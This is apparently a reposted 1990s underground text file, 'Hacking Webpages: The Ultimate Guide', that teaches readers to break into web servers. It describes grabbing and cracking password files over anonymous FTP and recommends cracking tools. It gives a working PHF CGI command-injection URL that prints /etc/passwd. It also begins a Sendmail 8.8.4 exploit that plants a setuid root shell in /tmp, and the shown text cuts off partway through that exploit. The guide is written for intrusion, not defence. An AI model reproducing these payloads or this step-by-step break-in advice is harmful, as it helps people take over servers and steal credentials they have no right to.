Hacking Webpages
Enviado por Drakkill • 7 de Junio de 2015 • 1.802 Palabras (8 Páginas) • 143 Visitas
Hacking Webpages
The Ultimate Guide
By Virtual Circuit and Psychotic
Well Psychotic wrote one of the most helpful unix text files in cyberspace but wi
th the mail that we recieved after the release of our famous 36 page Unix Bible w
e realised that unix isn't for everybody so we decided that we should write on an
other aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "
Hacking Webpages With a few Other Techniques." We will discuss a few various way
s of hacking webpages and getting root. We are also going to interview and quest
ion other REAL hackers on the subjects.
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through anonymous
ftp access into a webpage. First you need learn a little about the password file.
..
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is the par
t that gives you root. That's the main part of the file.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little differen
ce, it's shadowed. Shadowed password files don't let you view or copy the actual
encrypted password. This causes problems for the password cracker and dictionary
maker(both explained later in the text). Below is another example of a shadowed
password file:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Shadowed password files have an "x" in the place of a password or sometimes they
are disguised as an * as well.
Now that you know a little more about what the actual password file looks like yo
u should be able to identify a normal encrypted pw from a shadowed pw file. We ca
n now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the file
s vary from system to system. 1.The first step that you would take is to download
or copy the file. 2. The second step is to find a password cracker and a diction
ary maker. Although it's nearly impossible to find a good cracker there are a few
ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, B
rute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionar
y file... When you start a cracking prog you will be asked to find the the passw
ord file. That's where a dictionary maker comes in. You can download one from nea
rly every hacker page on the net. A dictionary maker finds all the possible lett
er combinations with the alphabet that you choose(ASCII, caps, lowercase, and num
eric letters may also be added) . We will be releasing our pasword file to the p
ublic soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we
know it will be one of the largest in circulation. 3. You then start up the crack
er and follow the directions that it gives you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that everybod
y already knows it and most servers have already found out about the bug and fixe
d it. But since I have been asked questions about the phf I decided to include it
.
The phf technique is by far the easiest way of getting a password file(although i
t doesn't work 95% of the time). But to do the phf all you do is open a browser a
nd type in the following link:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to get t
he pw file for www.webpage.com you would type:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
Telnet and Exploits
Well exploits are the best way of hacking webpages but they are also more complic
ated then hacking through ftp or using the phf. Before you can setup an exploit y
ou must first have a telnet proggie, there are many different clients you can jus
t do a netsearch and find everything you need.
It’s best to get an account with your target(if possible) and view the glitches f
rom the inside out. Exploits expose errors or bugs in systems and usually allow y
ou to gain root access. There are many different exploits around and you can view
each seperately. I’m going to list a few below but the list of exploits is endle
ss.
This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it
up:
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
...